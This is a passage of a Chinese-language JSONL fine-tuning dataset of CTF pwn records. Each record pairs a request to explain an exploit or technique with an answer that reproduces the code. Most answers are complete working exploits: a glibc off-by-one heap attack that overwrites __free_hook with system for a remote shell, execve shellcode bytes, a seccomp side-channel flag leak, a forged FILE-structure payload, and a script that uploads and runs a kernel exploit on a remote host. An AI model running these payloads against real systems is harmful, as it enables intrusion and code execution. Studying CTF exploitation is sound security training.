"original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/exp.c", "split": "train", "split_group_key": "1b802c1a31d8fc2f3f44bc09"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3fa61f27bc964ed74a73", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/2021强网拟态 old_school_revenge/oldnull.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/2021强网拟态 old_school_revenge/oldnull.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dele`\n- `edit`\n- `show`\n\n关键常量/偏移样例：\n`0x100`, `0x4f2c5`, `0x4f322`, `0x10a38c`, `0x3ebf20`\n\n训练用代码片段：\n```python\nfrom pwn import *\n#r=process('./old_school_null')\nr=remote('TARGET_IP','49153')\nlibc=ELF('/lib/x86_64-linux-gnu/libc.so.6')\ndef add(idx,size):\n\tr.recv()\n\tr.sendline('1')\n\tr.recv()\n\tr.sendline(str(idx))\n\tr.recv()\n\tr.sendline(str(size))\n\ndef edit(idx,con):\n\tr.recv()\n\tr.sendline('2')\n\tr.recv()\n\tr.sendline(str(idx))\n\tr.recv()\n\tr.sendline(con)\n\ndef show(idx):\n\tr.recv()\n\tr.sendline('3')\n\tr.recv()\n\tr.sendline(str(idx))\ndef dele(idx):\n\tr.recv()\n\tr.sendline('4')\n\tr.recv()\n\tr.sendline(str(idx))\no_g = [0x4f2c5,0x4f322,0x10a38c]\nl64 = lambda      :u64(r.recvuntil(\"\\x7f\")[-6:].ljust(8,\"\\x00\"))\nl32 = lambda      :u32(r.recvuntil(\"\\xf7\")[-4:].ljust(4,\"\\x00\"))\nsla = lambda a,b  :r.sendlineafter(str(a),str(b))\nsa  = lambda a,b  :r.sendafter(str(a),str(b))\nlg  = lambda name,data : r.success(name + \": 0x%x\" % data)\nse  = lambda payload: r.send(payload)\nsl  = lambda payload: r.sendline(payload)\nru  = lambda a     :r.recvuntil(str(a))\nfor i in range(7):\n    add(i,0xf8)\nadd(7,0xf8)#7\nadd(8,0x88)#8\nadd(9,0xf8)#9\nadd(10,0x88)#10\nfor i in range(7):\n    dele(i)\ndele(8)\ndele(7)\nadd(11,0x88)\nedit(11,\"a\"*0x80+p64(0x90+0x100))\ndele(9)\nfor i in range(7):\n    add(i,0xf8)\n    edit(i,\"/bin/sh\\x00\")\nadd(12,0xf8)\nshow(12)\n\n\nlibc_base = l64()-0x3ebf20\nlg(\"libc_base\",libc_base)\nfree=libc_base+libc.sym['__free_hook']\nsys=libc_base+libc.sym['system']\nadd(13,0x88)\ndele(0)\ndele(9)\nadd(14,0x88)\ndele(11)\nedit(13,p64(free-0x8)+'\\n')\n\nadd(22,0x88)\n\nedit(22,'/bin/sh\\x00')\nadd(23,0x88)\nedit(23,'/bin/sh\\x00'+p64(sys))\ndele(22)\n\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-f1d7cee895961a22", "original_line": 16, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2021强网拟态 old_school_revenge/oldnull.py", "split": "train", "split_group_key": "f8a5f3af1bd251bc3f0ffbab"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2021强网拟态 old_school_revenge/oldnull.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3ff929b7385340dd0c6d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「当前结论」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 当前结论\n\n当前已经确认：\n\n- 漏洞模块暴露 `/proc/d3kheap2pro`；\n- 核心入口是 `ioctl`；\n- `idx` 范围为 `[0, 511]`；\n- 对象大小为 `0x800`；\n- `alloc` 后 refcnt 为 2；\n- `free` 后不清空指针；\n- 可以形成 UAF / double free / alias slot；\n- 完整利用的关键在于动态验证自定义 cache 的复用行为。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1123b06c95c5c71e", "original_line": 363, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40177f943e206906e08e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/2024das sixbytes/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/2024das sixbytes/exp.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `import warnings`\n- `from pwn import *`\n- `import time`\n\n函数/封装：\n- `greater_than`\n- `leak_byte`\n- `leak_flag`\n- `make_sc`\n- `start`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x1000`, `0x20240000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=BytesWarning)\nfrom pwn import *\nimport time\n\ncontext.binary = ELF(\"./pwn\", checksec=False)\ncontext.log_level = args.LOG or \"error\"\n\nHOST = args.HOST or \"TARGET_IP\"\nPORT = int(args.PORT or 1337)\n\n# 当前 pwn 的 main 流程：\n#   1. open/read(\"./flag\") 到 .bss，返回 flag 指针放入 rdi\n#   2. mmap(0x20240000, 0x1000, RWX)，只 read 6 字节 shellcode\n#   3. 安装 seccomp_init(0) 空白名单，之后 syscall 都会被杀\n#   4. call shellcode(flag_ptr)\n#\n# 因此只能用 6 字节 shellcode 直接比较内存，然后通过：\n#   条件成立 -> jmp 回 cmp 死循环，连接/进程保持存活\n#   条件不成立 -> 跑到 0 填充区，快速 SIGSEGV/EOF\n# 做存活时间信道。\n\nLOCAL_WAIT = float(args.WAIT or 0.06)\nREMOTE_WAIT = float(args.RWAIT or 0.25)\nMAX_LEN = int(args.MAX or 0x80)\n\n\ndef start():\n    if args.REMOTE:\n        return remote(HOST, PORT)\n    return process([context.binary.path])\n\n\ndef make_sc(index: int, value: int) -> bytes:\n    \"\"\"return shellcode testing: flag[index] > value\"\"\"\n    if not (0 <= index <= 0x7F):\n        raise ValueError(\"index must fit in signed disp8 for this 6-byte cmp\")\n    if not (0 <= value <= 0xFF):\n        raise ValueError(\"value must be a byte\")\n\n    # Unsigned compare is enough for flags and avoids signed-char surprises.\n    # idx == 0: cmp byte ptr [rdi], imm8; ja short $-5; hlt\n    if index == 0:\n        return b\"\\x80\\x3f\" + p8(value) + b\"\\x77\\xfb\\xf4\"\n\n    # idx > 0: cmp byte ptr [rdi+idx], imm8; ja short $-6\n    return b\"\\x80\\x7f\" + p8(index) + p8(value) + b\"\\x77\\xfa\"\n\n\ndef greater_than(index: int, value: int) -> bool:\n    \"\"\"True iff flag[index] > value according to the alive/crash side channel.\"\"\"\n    io = start()\n    io.send(make_sc(index, value))\n\n    if args.REMOTE:\n        try:\n            io.recv(1, timeout=REMOTE_WAIT)\n            alive = True          # timeout/no EOF: still looping\n        except EOFError:\n            alive = False         # connection closed: not greater\n        finally:\n            io.close()\n        return alive\n\n    time.sleep(LOCAL_WAIT)\n    alive = io.poll() is None\n    if alive:\n        io.kill()\n    io.close()\n    return alive\n\n\ndef leak_byte(index: int) -> int:\n    # Search full printable/control ASCII range so NUL terminator can be detected.\n    lo, hi = 0x00, 0x7F\n    while lo < hi:\n        mid = (lo + hi) // 2\n        if greater_than(index, mid):\n            lo = mid + 1\n        else:\n            hi = mid\n    return lo\n\n\ndef leak_flag() -> bytes:\n    out = bytearray()\n    for i in range(MAX_LEN):\n        ch = leak_byte(i)\n        if ch == 0:\n            print(f\"[*] hit NUL terminator at index {i}\", flush=True)\n            break\n        out.append(ch)\n        print(f\"[+] flag[{i:02d}] = {ch:#04x} {chr(ch)!r} => {bytes(out)!r}\", flush=True)\n        if ch == ord(\"}\"):\n            break\n    return bytes(out)\n\n\nif __name__ == \"__main__\":\n    flag = leak_flag()\n    print(flag.decode(errors=\"replace\"))\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-61f166ec0fbe0a58", "original_line": 498, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2024das sixbytes/exp.py", "split": "train", "split_group_key": "0d98724123ccac22d56530d2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2024das sixbytes/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-405f45dbb5e298780595", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「signal机制」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### signal机制\n\nsignal 机制是类 Unix 系统中进程之间相互传递消息的一种方法。一般，我们也称其为软中断信号，或者软中断。比如说，进程之间可以通过系统调用 kill 来发送软中断信号。\n\n一般来说，信号机制常见的步骤如下图所示：\n\n[图片: image][图片: image]\n\n\n1. 内核向某个进程发送 signal 机制，该进程会被暂时挂起，进入内核态。\n2. 内核会为该进程保存相应的上下文，主要是将所有寄存器压入栈中，以及压入 signal 信息，以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示，我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是，这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此，当 signal handler 执行完之后，就会执行`sigreturn`代码。\n3. 内核为执行`sigreturn`系统调用，为该进程恢复之前保存的上下文，其中包括将所有压入的寄存器，重新`pop`回对应的寄存器，最后恢复进程的执行。其中，32 位的`sigreturn`的调用号为 119（0x77），64 位的系统调用号为 15（0xf）。\n\n+ `Signal Frame`结构：\n\n[图片: image][图片: image]\n\n说了那么多，通俗说就是程序在进行 Signal 机制后会保存上下文，然后执行信号处理函数，处理完之后恢复栈环境，继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的，如果我们能够控制栈，就能在恢复上下文环境这个环节直接设定相关寄存器的值。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-55775aaf75a92544", "original_line": 598, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40c08e21a6b99bf1ee4c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/ACTF_2019_babyheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/ACTF_2019_babyheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dbg`\n- `dele`\n- `get_sb`\n- `show`\n\n关键常量/偏移样例：\n`0x602010`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./ACTF_2019_babyheap.actf_2019_babyheap')\nio = process([elf.path])\nlibc = ELF('/buu/64/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(i):\n    sa(': ', i)\n\ndef add(size, con):\n    cmd('1')\n    sa(': \\n', str(size))\n    sa('content: \\n', con)\n\ndef show(idx):\n    cmd('3')\n    sa(': \\n', str(idx))\n\ndef dele(idx):\n    cmd('2')\n    sa(': \\n', str(idx))\n\nsh=0x602010\nfor _ in range(7):\n    add(0x80,b\"aaaa\")\nfor _ in range(7):\n    dele(_)\ndbg()\nadd(0x80,b\"aaaa\")\ndele(8)\nshow(8)\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-aaf988383ebeb5ad", "original_line": 3, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/ACTF_2019_babyheap/exp.py", "split": "train", "split_group_key": "10efab1459cf8f8a51b7980a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/ACTF_2019_babyheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40e8e310d8ca39f10116", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.3 伪造 FILE 结构」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3.3 伪造 FILE 结构\n\n伪造 `_IO_FILE_plus` 的关键字段：\n\n```python\npayload  = p64(0) * 2 + p64(1) + p64(2)\npayload  = payload.ljust(0x78, b\"\\x00\") + p64(fortune + 0x4a0)              # _lock\npayload  = payload.ljust(0x90, b\"\\x00\") + p64(fortune + 0x200)              # _wide_data\npayload  = payload.ljust(0xc8, b\"\\x00\") + p64(libcbase + libc.sym[\"_IO_wfile_jumps\"])\nfix(1, payload)\n```\n\n偏移解释：\n\n```text\n真实 FILE offset 0x20 / 0x28: _IO_write_base = 1, _IO_write_ptr = 2\n真实 FILE offset 0x88:        _lock = fortune + 0x4a0\n真实 FILE offset 0xa0:        _wide_data = fortune + 0x200\n真实 FILE offset 0xd8:        vtable = _IO_wfile_jumps\n```\n\n因为 `_IO_list_all` 指向 chunk header，写 payload 的 user area 相对 FILE 起点偏移 `+0x10`，所以脚本里使用的是 `0x78/0x90/0xc8`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c39b5b5d3240be41", "original_line": 210, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-40f7582d21ba30c71493", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/ez_shellcode/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/ez_shellcode/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\n\ngift.io = process('./ez_shellcode')\ninit_x64_context(gift.io, gift)\ngift.elf = ELF('./ez_shellcode')\n\n\"\"\"\nshellcode题，限制必须是单，双字节的unicode字符交替输入\n\"\"\"\n\n'''\n字节码: b'\\x00\\xc2\\x93\\x00\\xc2\\x90'\n反汇编指令:\n  add dl, al\n  xchg ebx, eax\n  add dl, al\n\n字节码: b'\\x00\\xc2\\x96\\x00\\xc2\\x90'\n反汇编指令:\n  add dl, al\n  xchg esi, eax\n  add dl, al\n\n字节码: b'\\x00\\xc2\\x88\\x00\\xc9\\x96'\n反汇编指令:\n  add dl, al\n  mov byte ptr [rax], al\n\n字节码: b'4\\xc8\\x84\\x00\\xc2\\x80'\n反汇编指令:\n  xor al, 0xc8\n  test byte ptr [rax], al\n\n字节码: b'\\x04\\xce\\x84\\x00\\xc2\\x80'\n反汇编指令:\n  add al, 0xce\n  test byte ptr [rax], al\n'''\n\nxchg_ebx_eax = b'\\xc9\\x93'\nxor_al_0xcd = b'4\\xcd\\x90'\nadd_al_0xc2 = b'\\x04\\xc2\\x90'\nmov_byte_rax_al = b'\\x00\\xc2\\x88\\x00\\xc9\\x96'\n\nsla(b'What is your lucky number?', b'\\x05')\n\nsla(b'Leave to fate...', xchg_ebx_eax + add_al_0xc2 + xor_al_0xcd + mov_byte_rax_al + b'P\\xc2')\nsl(b'666666')\nsl(b'0')\nsl(b'0')\n\n# pause()\n\ns(b'\\x90' * 0x10 + b\"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-a0797216e245c49f", "original_line": 546, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/ez_shellcode/exp.py", "split": "train", "split_group_key": "40c59d5be24503030cd0f244"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/ez_shellcode/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-41fb3b98762bef7a87ae", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/make_exp_image.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/make_exp_image.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\nset -eu\nout=${1:-/tmp/d3k-exp.raw}\ncp rootfs.raw \"$out\"\ncat > /tmp/initexp <<\"EOI\"\n#!/bin/sh\nmount -t proc none /proc\nmount -t sysfs none /sys\nmount -t devtmpfs none /dev 2>/dev/null || true\ninsmod /root/d3kheap2pro.ko\nprintf \"\\n=== EXPSTART uid=$(id -u) ===\\n\"\n/root/exp\nprintf \"=== EXPDONE uid=$(id -u) ===\\n\"\npoweroff -f\nEOI\nchmod 755 /tmp/initexp\ndebugfs -w -R \"write exp /root/exp\" \"$out\" >/tmp/d3k-exp-debugfs.log 2>&1 || true\ndebugfs -w -R \"set_inode_field /root/exp mode 0100777\" \"$out\" >>/tmp/d3k-exp-debugfs.log 2>&1 || true\ndebugfs -w -R \"write /tmp/initexp /initexp\" \"$out\" >>/tmp/d3k-exp-debugfs.log 2>&1\ndebugfs -w -R \"set_inode_field /initexp mode 0100777\" \"$out\" >>/tmp/d3k-exp-debugfs.log 2>&1\ncat /tmp/d3k-exp-debugfs.log\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-04e0ab2e67da950e", "original_line": 291, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_exp_image.sh", "split": "train", "split_group_key": "4ad2da493ef6b81c95a176c8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_exp_image.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-43c4c840324080371047", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「古老的 unlink」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 古老的 unlink\n在最初 unlink 实现的时候，其实是没有对 chunk 的 size 检查和双向链表检查的，即没有如下检查代码\n\n```c\n// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查)\nif (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \\\n    malloc_printerr (\"corrupted size vs. prev_size\"); \\\n// 检查 fd 和 bk 指针(双向链表完整性检查)\nif (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \\\n    malloc_printerr (check_action, \"corrupted double-linked list\", P, AV); \\\n\n    // largebin 中 next_size 双向链表完整性检查\n                if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \\\n                    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \\\n                malloc_printerr (check_action, \\\n                                \"corrupted double-linked list (not small)\", \\\n                                P, AV);\n```\n\n这里我们以 32 位为例，假设堆内存最初的布局是下面的样子。\n\n[图片: image]\n\n现在有物理空间连续的两个 chunk （）", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e6b2bccbf51b7a95", "original_line": 106, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-441ca6d5de915cf89a7d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2026d3ctf-d3kheap2pro/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2026d3ctf-d3kheap2pro/exp.py`\n\n分类：kernel\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `import base64`\n- `from pathlib import Path`\n\n函数/封装：\n- `start`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```python\nfrom pwn import *\nimport base64\nfrom pathlib import Path\n\ncontext.log_level = 'info'\n\nDEFAULT_HOST = \"rb6tlxo7p4ebpd2ymbdtvtxg3fi.cloud.d3c.tf\"\nDEFAULT_PORT = 443\n\ndef start():\n    return remote(DEFAULT_HOST, DEFAULT_PORT, ssl=True)\n\n\npayload_path = Path(args.EXP or \"./exp\")\nif not payload_path.is_file():\n    log.failure(f\"payload file not found: {payload_path}\")\n    raise SystemExit(1)\n\nio = start()\nio.sendlineafter(b\"/ $\", b\"rm -f /tmp/b64_exp /tmp/exploit\")\n\nencoded = base64.b64encode(payload_path.read_bytes())\n\nchunk_size = 512\nfor i in range(0, len(encoded), chunk_size):\n    chunk = encoded[i:i + chunk_size].decode().replace('\\\"', '\\\\\\\"')\n    io.sendlineafter(b\"/ $\", f'echo -n \"{chunk}\" >> /tmp/b64_exp'.encode())\n\n# 解码 & 执行\nio.sendlineafter(b\"/ $\", b\"base64 -d /tmp/b64_exp > /tmp/exploit\")\nio.sendlineafter(b\"/ $\", b\"chmod +x /tmp/exploit\")\nio.sendlineafter(b\"/ $\", b\"/tmp/exploit\")\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-f96a2125c958c6f7", "original_line": 289, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/exp.py", "split": "train", "split_group_key": "ef60574db00fcb906ffa85dd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-44796c276c71399ac9d6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Leak libc from the reused unsorted-bin chunk.」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# Leak libc from the reused unsorted-bin chunk.\ndelete(2)\nadd(0x500, b'a' * 8)          # 5 overlaps stale ptr[2]\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0   # unsorted-bin fd = main_arena+0x60 for ./libc-2.31.so\nfree_hook = libc_base + libc.sym['__free_hook']\nsystem = libc_base + libc.sym['system']\nmp_ = libc_base + 0x1EC280 + 0x50\n\nlog.success(f'leak      = {hex(leak)}')\nlog.success(f'libc_base = {hex(libc_base)}')\nlog.success(f'__free_hook = {hex(free_hook)}')\nlog.success(f'system    = {hex(system)}')", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1d047d795926b108", "original_line": 47, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": 